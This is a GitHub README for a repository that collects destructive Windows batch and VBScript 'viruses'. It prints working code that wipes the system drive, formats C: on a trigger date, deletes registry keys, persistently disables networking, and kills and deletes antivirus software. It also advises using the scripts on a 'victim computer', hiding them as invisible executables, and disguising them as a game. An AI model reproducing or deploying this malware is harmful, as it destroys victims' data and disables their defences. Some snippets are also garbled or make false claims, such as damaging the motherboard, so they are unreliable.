Skip to content

An awesome collection of different kinds of Harmful, minor, and even helpful Computer Viruses written in Windows Batch File.

License

Notifications You must be signed in to change notification settings

SparkScratch-P/batch-virus

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

68 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Batch Viruses

An awesome collection of different kinds of Computer Viruses written in Batch File.


Create amazing yet Deadly viruses with small yet deadly codes. These can be created with just Notepad, and even be downloaded from here. The viruses here are mostly very dangerous.

Compiled and Edited by SparkScratch-P.


⚠️ALERT:

  • These are only for educational purposes.
  • Never try them on your own device until you are sure of what you are doing.
  • Me, or any other contributor to this repo will not be responsible for any damage to your device.
  • Handle files with care and awareness.
  • Most damages can't be restored or recovered.

The Awesome List of Computer Viruses!

1. Deletes all content of a drive

Read More

virus1.bat

 @echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

2. Time Bomb Virus, formats C: on 25 November 2023

Read More

virus2.bat

If %date% NEQ 2023/11/25 goto exit
format C: /y >nul
:exit
exit

The Date, Time, and the Drive to be formatted can be changed.

3. Crash Ur Computer of Windows Xp

Read More

virus3.bat

Option Explicit

Dim WSHShell Set WSHShell=Wscript.CreateObject(“Wscript.Shell”)

Dim x For x = 1 to 100000000 WSHShell.Run “Tourstart.exe” Next

This Virus works only for Windows XP, and besides formatting the drives, it damages the motherboard.

4. Delete Key Registry Files

Read More

virus4.bat

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked. Have a nice day.
GOTO MESSAGE

This virus is extremely dangerous, don't run it on your device.

5. The Most Simple Virus To Crush The Window. Delete C:/

Read More

virus5.bat

@Echo off
Del C:\ *.* |y

Your device will not restart again, after it runs once!

6. Endless Notepads

Read More

virus6.bat

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

This will open endless notepads, until ur system gets overloaded, hanged, and crashed!

NOTE : If you mistakenly open it, immediately power of and force shut down your computer, else it may crash, never to start again.

7. Disable Internet Permanently

Read More

virus7.bat

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

Your device will never ever connect to the internet if this virus runs once!

8. Crazy Caps Lock

Read More

virus8.bat

Set wshShell =wscript.CreateObject(WScript.Shell)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

This repeatedly toggles your Caps Lock key. It is fully harmless and gets proper on reboot, or once the task is ended in Task Manager.

9. Endless Backspace

Read More

virus9.bat

MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop

This will repeatedly keep pressing your Backspace, and will not let u type. It pops up a message; “Let’s go back a few steps”, and starts nuisence. Anyways, it is temporary, and harmless.

10. Disable the Antivirus

Read More

virus10.bat

@ echo off
rem —
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.dat
cls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda software\*.*
rem —

This will disable your antivirus for the timbing. One can run it on Victim computer before loading any virus to it!

This was just a list of ten. There are 25 More in our collection, here on GitHub! Just Have a look at thm:

  • Task-kill some apps
  • Command Line Notepad
  • CD/ROM popper with malicious popups
Details

CD/ROM keeps opening and closing ...an error msg keeps popping up and when i turn on my PC an error msg shows so i have to press ok then open my account

  • CD drive popup
  • Stop current Internet access
  • Format all Drives from C to J
  • Delete Entire Registry
  • Crash PC for ever
  • Application bomber
  • Delete System 32 Folder
  • Disgust and shut down!
  • Destroy-shutdown with popup
  • Shutdowns Computer Everytime It Is Turned On
  • Change useful random files to on-working txt files
  • System meltdown
  • Flood internet
  • System Crash
Details It will make you unable to use your PC and FORCE you to install Windows OS again. You will only be aware of the infiltration the next time you turn on your Computer! Use the latest version of “Bat To Exe Converter” and add Administrator manifest to it and make it Invisible application before converting it to .exe! Your victim doesn’t even know what is happening or what this virus did. Your trusted Antivirus can’t even detect it cause this file doesn’t work as normal viruses but the later damage will be way too much than what a couple of malware can do. You may name it in a sexy way like GTA and choose the appropriate icon to attract your victim’s attention. But please, don’t try to be an ASS HAT with it.
  • Matrix virus
Details

AS IT WAS TOO DANGEROUS, THE ACTUAL HEADER FILES FOR THIS SCRIPT ARE NOT GIVEN AND IF U WANT TO TRY THIS SCRIPT U CAN JUST USE OF HEADER FILES SUCH AS STDIN, STDLIB, CONIO, AND STUFF LIKE THAT

  • Bloat random folder
  • User Account Bloatware
  • Overload with unlimited background processes
  • Killer and system crasher virus
Details

Here is a Batch File virus which can:

1.Copy itself into startup 2.Copy itself over one thousand times into random spots in your computer. 3.Hide its self and all other created files 4.Task kill MSN, Norton, Windows Explorer, Limewire. 5.Swap the left mouse button with the right one 6.Opens alert boxes 7.Changes the time to 12:00 and shuts down the computer copy this code into notepad and save as Greatgame.bat(while saving select all files instead of text ).

  • Show incognito history
  • Delete entire system
  • Command Line Notepad
Details Form Of Switches

-s Shuts down the PC.

-l Logs off the current user.

-t nn Indicates the duration of delay, in seconds, before performing the action.

-c “messagetext” Displays a message in the System Shutdown window. A maximum of 127 characters can be used. The message must be enclosed in quotation marks.

-f Forces any running applications to shut down.

-r Reboots the PC. ..!!!

  • Text bloater

You can easily search out the desired virus by following the commit titles in ./viruses directory in the main brach under this repo.

How to Manage Viruses?

Most viruses are dangerous, and many of them are not detectable by modern Antiviruses. So, handle with care, and don't think, it is undetected, so you can freely run or use it. Be sure about what you ar doing. To avoid serious problems, the #include libraries of some have been removed, and others are fillet with micro glitches, that you need to fix before you run them. Remember, these are only for educational, and research purposes. Read the details about all viruses on this page!

To get a virus, download the repo, and extract. Or, copy-paste the code from here to Notepad, and save as .bat (Text Encoding : ASNI). These viruses works only on Windows.

Download .Zip

Developers

The viruses may be preexisting, but most of thm have been slight-edited, and posted here, often toincrease the impact factor.

Favourable points of development:

  • New or more impactful viruses.
  • Controlled viruses to work for good.
  • Helpful viruses.
  • Documentation of more viruses, 25 left, 10 done on this page.
  • Report if it is working or not, improve glithes, report bugs.

Download .Zip

All contributions and PRs are welcome.

⭐ Leave A Star If You Like It ⭐

❤️ Thank You ❤️

About

An awesome collection of different kinds of Harmful, minor, and even helpful Computer Viruses written in Windows Batch File.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published